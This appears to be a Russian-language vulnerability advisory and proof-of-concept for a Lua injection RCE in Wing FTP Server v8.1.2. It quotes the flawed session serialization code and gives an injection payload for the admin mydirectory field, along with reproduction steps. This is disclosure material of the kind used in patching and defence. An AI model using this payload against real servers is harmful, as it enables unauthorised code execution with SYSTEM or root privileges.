CVE-2026-44403-WingFTP-v8.1.2-POC-Exploit
Wing FTP Server v8.1.2 содержит уязвимость удаленного выполнения кода (RCE) в механизме сериализации сессий. Аутентифицированный администратор может внедрить произвольный код Lua через поле mydirectory (basefolder) администратора домена, который выполняется на стороне сервера через loadfile().
Это отдельная уязвимость от CVE-2025-47812. Исправление, примененное в v7.4.4 для CVE-2025-47812, затрагивало только вектор внедрения нулевого байта в поле имени пользователя. Основная небезопасная сериализация сессий не была исправлена и остается эксплуатируемой через поле basefolder администратора в v8.1.2.
Функция сериализации сессий serialize() в SessionModule.lua (строка 103) и SessionModuleAdmin.lua (строка 104) записывает строковые значения, используя нотацию длинных строк Lua [[...]]:
outf("_SESSION["..k.."]=[["..v.."]]\r\n")
Если значение сессии содержит ]], длинная строка преждевременно закрывается, а остальное содержимое интерпретируется как исполняемый код Lua.
Код санитизации скобок существует в cgi.lua (строки 274-275) и (строки 277-278), но закомментирован:
cgiadmin.lua--v = string.gsub(v,"%[","")
--v = string.gsub(v,"%]","")
Метатаблица сессии, которая должна была бы принудительно применять эту санитизацию, также отключена:
--setmetatable(_SESSION,session_metatable) -- cgi.lua:282, cgiadmin.lua:285
Шаг 1 — Внедрение полезной нагрузки через basefolder администратора домена:
Аутентифицированный полный администратор создает или изменяет учетную запись администратора домена. Поле mydirectory устанавливается в:
C:\ftproot]]os.execute("whoami > C:\\proof.txt")--
Конечные точки service_add_admin.html и service_modify_admin.html не санитизируют символы скобок в поле mydirectory. (service_add_admin.html удаляет скобки из имени пользователя в строках 14-15, но не из mydirectory.)
Шаг 2 — Запуск выполнения:
Когда скомпрометированный администратор домена входит в систему через service_login.html, basefolder напрямую сохраняется в сессии:
rawset(_SESSION,"admin_basefolder",basefolder) -- service_login.html:95
rawset(_SESSION,"admin_nowpath",basefolder) -- service_login.html:96
SessionModuleAdmin.save() записывает это в файл сессии как:
_SESSION['admin_basefolder']=[[C:\ftproot]]os.execute("whoami > C:\\proof.txt")--]]
Шаг 3 — Выполнение кода:
При следующем HTTP-запросе с использованием этой сессии SessionModuleAdmin.load() вызывает loadfile(), а затем f() (строки 184-188). Парсер Lua интерпретирует файл сессии как:
_SESSION['admin_basefolder']=[[C:\ftproot]] --> присваивает строку "C:\ftproot"
os.execute("whoami > C:\\proof.txt") --> ВЫПОЛНЯЕТСЯ КАК КОД
--]] --> остальное закомментировано
Полезная нагрузка выполняется с привилегиями процесса Wing FTP Server (SYSTEM на Windows, root на Linux).
Рабочий PoC-эксплойт разработан и протестирован против Wing FTP Server v8.1.2 на Windows.
Шаги для воспроизведения:
Войдите в панель администратора.
Создайте нового администратора домена со следующим значением mydirectory:
C:\ftproot]]os.execute("whoami > C:\\wingftp_rce_proof.txt")--
Войдите как только что созданный администратор домена.
Перейдите на любую страницу администратора (это вызовет загрузку сессии).
Убедитесь, что файл C:\wingftp_rce_proof.txt был создан и содержит имя пользователя сервера.